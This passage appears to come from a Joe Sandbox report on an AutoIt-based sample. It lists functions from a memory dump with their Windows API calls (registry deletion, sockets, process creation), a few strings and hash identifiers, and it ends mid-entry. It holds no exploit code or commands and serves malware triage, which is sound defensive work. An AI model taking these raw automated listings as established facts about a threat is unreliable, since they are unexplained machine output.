Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: ,,b$DllGetClassObject
API String ID: 753597075-3895218250
Opcode ID: 2399308f92fbe17099b080aaba3496e7dd389fb8deb9d7830bbef898045ccb77
Instruction ID: 39428bd7c5eccca26340aad85b02226def039dcda1a9a87cb98bdfcf54351fe0
Opcode Fuzzy Hash: 2399308f92fbe17099b080aaba3496e7dd389fb8deb9d7830bbef898045ccb77
Instruction Fuzzy Hash: 0A418CB1600245EFDB09CF65C884A9ABFBAFF44314F1581AAAC499F205D7B1D944CBB0

Function 005F3671 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F466E: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,005F3697,?), ref: 005F468B

Part of subcall function 005F466E: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,005F3697,?), ref: 005F46A4

lstrcmpiW.KERNEL32(?,?), ref: 005F36B7
_wcscmp.LIBCMT ref: 005F36D3
MoveFileW.KERNEL32(?,?), ref: 005F36EB
_wcscat.LIBCMT ref: 005F3733
SHFileOperationW.SHELL32(?), ref: 005F379F

Strings

\*.*, xrefs: 005F372D

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: f53f2dbecf937bbed9177f15f2a0335dcec4ab73ec4bbacdef62ad40d55b3815
Instruction ID: e265940635921412847ac877cd620f1f3282ae564d78e98c9db0be1ace0f1633
Opcode Fuzzy Hash: f53f2dbecf937bbed9177f15f2a0335dcec4ab73ec4bbacdef62ad40d55b3815
Instruction Fuzzy Hash: 17417F71508349AED752EF64C4459EF7BE8FF89380F00092EB599C3251EB38D689CB52

Function 00617291 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 006172AA
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00617351
IsMenu.USER32(?), ref: 00617369
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 006173B1
DrawMenuBar.USER32 ref: 006173C4

Strings

0, xrefs: 0061729E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 264e5a7e7a664d943494b3a53beae5fd9a0eba2941555a6442ab3cf2799a425a
Instruction ID: 6be4c2d65b0af9e7e740807a3de947699603678da4a6fd2f18e1ad57177ddc74
Opcode Fuzzy Hash: 264e5a7e7a664d943494b3a53beae5fd9a0eba2941555a6442ab3cf2799a425a
Instruction Fuzzy Hash: 4A41F575A04209EFDB20DF50D884ADABBBAFB08351F18952AFD65A7350D730AD90DB60

Function 00610FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00610FD4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00610FFE
FreeLibrary.KERNEL32(00000000), ref: 006110B5

Part of subcall function 00610FA5: RegCloseKey.ADVAPI32(?), ref: 0061101B
Part of subcall function 00610FA5: FreeLibrary.KERNEL32(?), ref: 0061106D
Part of subcall function 00610FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 00611090

RegDeleteKeyW.ADVAPI32(?,?), ref: 00611058

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: f779ff6698ce0c9389b65bfbf27e5e24c5d5e3a83972c9a5353b311484c9d4e0
Instruction ID: dc02822029772fc3d19f3237aa943e81d6225da7816e861582fd38605f8691ed
Opcode Fuzzy Hash: f779ff6698ce0c9389b65bfbf27e5e24c5d5e3a83972c9a5353b311484c9d4e0
Instruction Fuzzy Hash: F5311E71D00109BFEB15DF90DC89AFFB7BDEF09301F04416AEA01A6251DA749EC59AA4

Function 006162CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 006162EC
GetWindowLongW.USER32(012C6138,000000F0), ref: 0061631F
GetWindowLongW.USER32(012C6138,000000F0), ref: 00616354
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00616386
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 006163B0
GetWindowLongW.USER32(00000000,000000F0), ref: 006163C1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 006163DB

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: b2ed1db77a2125579f53ad76fc96ce7e8d579f2be7a232931fbd0f0b78215ef8
Instruction ID: e3f066672a01c61d2e889c39b0521e3c002017dc2bf5adfc84864830b98473c3
Opcode Fuzzy Hash: b2ed1db77a2125579f53ad76fc96ce7e8d579f2be7a232931fbd0f0b78215ef8
Instruction Fuzzy Hash: 0931E2386442509FDB20CF19DC88F9537E2FB4A715F1961A9F9219F3B2CB71A880DB91

Function 005EDAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005EDB2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005EDB54
SysAllocString.OLEAUT32(00000000), ref: 005EDB57
SysAllocString.OLEAUT32(?), ref: 005EDB75
SysFreeString.OLEAUT32(?), ref: 005EDB7E
StringFromGUID2.OLE32(?,?,00000028), ref: 005EDBA3
SysAllocString.OLEAUT32(?), ref: 005EDBB1

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: c333b2158edeb591b4b1dd64c830fa6900663a9f4b20ae7a2d414ab6fe092e82
Instruction ID: c15c223d425143f3843e539076fd7454dfb96cad8fb8cec631f6708bf032169d
Opcode Fuzzy Hash: c333b2158edeb591b4b1dd64c830fa6900663a9f4b20ae7a2d414ab6fe092e82
Instruction Fuzzy Hash: BF217136600219AF9B14DFA9DC88CFB77ADFB09360B058566F954DB291E6709C418B60

Function 00606173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00607D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00607DB6

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 006061C6
WSAGetLastError.WSOCK32(00000000), ref: 006061D5
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0060620E
connect.WSOCK32(00000000,?,00000010), ref: 00606217
WSAGetLastError.WSOCK32 ref: 00606221
closesocket.WSOCK32(00000000), ref: 0060624A
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 00606263

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 3eb560c731c9922ba5f3589ec6865e6a09ae6553eda471e6c0ae47acd88c959d
Instruction ID: a08700f84402a7333c068559316b2187c7a16b2a09fad910c9d9d97116df064e
Opcode Fuzzy Hash: 3eb560c731c9922ba5f3589ec6865e6a09ae6553eda471e6c0ae47acd88c959d
Instruction Fuzzy Hash: EC319031640108ABDF14AF28CC89BBA7BAAEF45760F048069F905A72D1DB70AD558BA1

Function 005EF65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 005EF671
__wcsnicmp.LIBCMT ref: 005EF692
__wcsnicmp.LIBCMT ref: 005EF6AC

Strings

#notrayicon, xrefs: 005EF669
#OnAutoItStartRegister, xrefs: 005EF6A6
#requireadmin, xrefs: 005EF68C

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: __wcsnicmp
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 1038674560-2734436370
Opcode ID: 579eca7fa1c69ec49e7c6c19d144c778e071cbbbb26f4f1e015771d8b44a0079
Instruction ID: a17ab868a8f97abba3d9df246fd4ec386f201f9368325adef91b989a2453cb75
Opcode Fuzzy Hash: 579eca7fa1c69ec49e7c6c19d144c778e071cbbbb26f4f1e015771d8b44a0079
Instruction Fuzzy Hash: A721797220459267D728AA36BC06EBB7B98FF95340F104439F8C2860A1EF60AD81C394

Function 005EDBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005EDC09
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 005EDC2F
SysAllocString.OLEAUT32(00000000), ref: 005EDC32
SysAllocString.OLEAUT32 ref: 005EDC53
SysFreeString.OLEAUT32 ref: 005EDC5C
StringFromGUID2.OLE32(?,?,00000028), ref: 005EDC76
SysAllocString.OLEAUT32(?), ref: 005EDC84

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 7aaa6f10c2b69e3e58770af685021ffad40b8bad1e4a7cd12c8fde97f6dbabf9
Instruction ID: 527fe857ccc60d69a76f6c684f2636c02e3cc48a3b952a9b4790c18d267353bf
Opcode Fuzzy Hash: 7aaa6f10c2b69e3e58770af685021ffad40b8bad1e4a7cd12c8fde97f6dbabf9
Instruction Fuzzy Hash: CE217435604244AF9B14DFA9DC88DAB7BFDFB08360B148166F958CB2A1D670EC41CB74

Function 006175CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00591D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00591D73
Part of subcall function 00591D35: GetStockObject.GDI32(00000011), ref: 00591D87
Part of subcall function 00591D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00591D91

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00617632
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 0061763F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 0061764A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00617659
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00617665

Strings

Msctls_Progress32, xrefs: 00617603

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 5745ab6b543890f87f849ce00dbff0e35cb998ba8d5bd3b4b615cc677653b935
Instruction ID: 581a0a2af4f9a155e804a7fa69976b977f4a2df199a61b32dc2637a221d83c13
Opcode Fuzzy Hash: 5745ab6b543890f87f849ce00dbff0e35cb998ba8d5bd3b4b615cc677653b935
Instruction Fuzzy Hash: EB11B2B2150219BFEF119F64CC85EEB7F6EEF08798F014115BA04A20A0CA729C61DBA4

Function 005B9AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 005B9AE6

Part of subcall function 005B3187: EncodePointer.KERNEL32(00000000), ref: 005B318A
Part of subcall function 005B3187: __initp_misc_winsig.LIBCMT ref: 005B31A5
Part of subcall function 005B3187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 005B9EA0
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 005B9EB4
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 005B9EC7
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 005B9EDA
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 005B9EED
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 005B9F00
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 005B9F13
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 005B9F26
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 005B9F39
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 005B9F4C
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 005B9F5F
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 005B9F72
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 005B9F85
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 005B9F98
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 005B9FAB
Part of subcall function 005B3187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 005B9FBE

__mtinitlocks.LIBCMT ref: 005B9AEB
__mtterm.LIBCMT ref: 005B9AF4

Part of subcall function 005B9B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,005B9AF9,005B7CD0,0064A0B8,00000014), ref: 005B9C56
Part of subcall function 005B9B5C: _free.LIBCMT ref: 005B9C5D
Part of subcall function 005B9B5C: DeleteCriticalSection.KERNEL32(02e,?,?,005B9AF9,005B7CD0,0064A0B8,00000014), ref: 005B9C7F

__calloc_crt.LIBCMT ref: 005B9B19
__initptd.LIBCMT ref: 005B9B3B
GetCurrentThreadId.KERNEL32 ref: 005B9B42

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 13f48d12aa02eac3fc24d88a5d6cd827dd349dcfed15b7d8ab400c992ea24bfe
Instruction ID: 06a2b88e424ef4dd772887ec2703e771d284381699d19925f983e844a3ad4efb
Opcode Fuzzy Hash: 13f48d12aa02eac3fc24d88a5d6cd827dd349dcfed15b7d8ab400c992ea24bfe
Instruction Fuzzy Hash: E8F0903260D7136EE7347775BC0B6DA2E95FF82734F204A1AF664D61D2EF21B44142A0

Function 0061B635 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0061B644
_memset.LIBCMT ref: 0061B653
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00656F20,00656F64), ref: 0061B682
CloseHandle.KERNEL32 ref: 0061B694

Strings

doe, xrefs: 0061B64D
oe, xrefs: 0061B63E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID: oe$doe
API String ID: 3277943733-1167202938
Opcode ID: 956cf863a577623ffc6f315070cfabc70e2e4288968f398a1b0aaed6b2c39f56
Instruction ID: 8c03bd7c70c7bf94c3b086d5aff2a94893fa40755a554db3915d86a09101486b
Opcode Fuzzy Hash: 956cf863a577623ffc6f315070cfabc70e2e4288968f398a1b0aaed6b2c39f56
Instruction Fuzzy Hash: 1EF03AB29403007EE7106B61BC0AFBB3E9FEB08396F449421BA09E61A2D7715800C7A8

Function 005B406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,005B3F85), ref: 005B4085
GetProcAddress.KERNEL32(00000000), ref: 005B408C
EncodePointer.KERNEL32(00000000), ref: 005B4097
DecodePointer.KERNEL32(005B3F85), ref: 005B40B2

Strings

combase.dll, xrefs: 005B4080
RoUninitialize, xrefs: 005B4074

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 74e1706ef9b9f6849b38417e9ad5007beae9af077a7ec8d8147ffd5f878fa2aa
Instruction ID: 8a41ca5ca139130a2ca859421de8767f83fe668b2fa738fa5bbcdad08964083c
Opcode Fuzzy Hash: 74e1706ef9b9f6849b38417e9ad5007beae9af077a7ec8d8147ffd5f878fa2aa
Instruction Fuzzy Hash: 80E09270581B12ABEB20EF71EC0DB853EA7BB14B83F14A426F511E56A0CBB65604AE14

Function 005F64B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005F660B
_memmove.LIBCMT ref: 005F6546

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

_memmove.LIBCMT ref: 005F65B9
_memmove.LIBCMT ref: 005F66A0
_memmove.LIBCMT ref: 005F66B9
_memmove.LIBCMT ref: 005F66D5

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: 2a7d25f60edbd5fbe4db071327fbe464580fe8352ced26bdb8299ba99f3803d2
Instruction ID: 3384bb6bb6226bb2b4cc842d8eb4fc395f66a18bb55c91502a4ecb7390219ab7
Opcode Fuzzy Hash: 2a7d25f60edbd5fbe4db071327fbe464580fe8352ced26bdb8299ba99f3803d2
Instruction Fuzzy Hash: 4B615A3050065F9BCF01EF64C88AAFE3FA9BF85308F444959FA556B192EB39E905CB50

Function 006101E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00597DE1: _memmove.LIBCMT ref: 00597E22

Part of subcall function 00610E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0060FDAD,?,?), ref: 00610E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006102BD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 006102FD
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00610320
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00610349
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0061038C
RegCloseKey.ADVAPI32(00000000), ref: 00610399

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 042f5f608fac1494feb1d841c653ba4e94a7f673f778677770e32e9451fee448
Instruction ID: 79798303f73ee305d4b1a3379768d879274d81d0a2129894a4722bcdd8b8b110
Opcode Fuzzy Hash: 042f5f608fac1494feb1d841c653ba4e94a7f673f778677770e32e9451fee448
Instruction Fuzzy Hash: 87515B312082059FDB04EF64C849EAEBBEAFF89314F48491DF455872A1DB71E985CB52

Function 00615799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

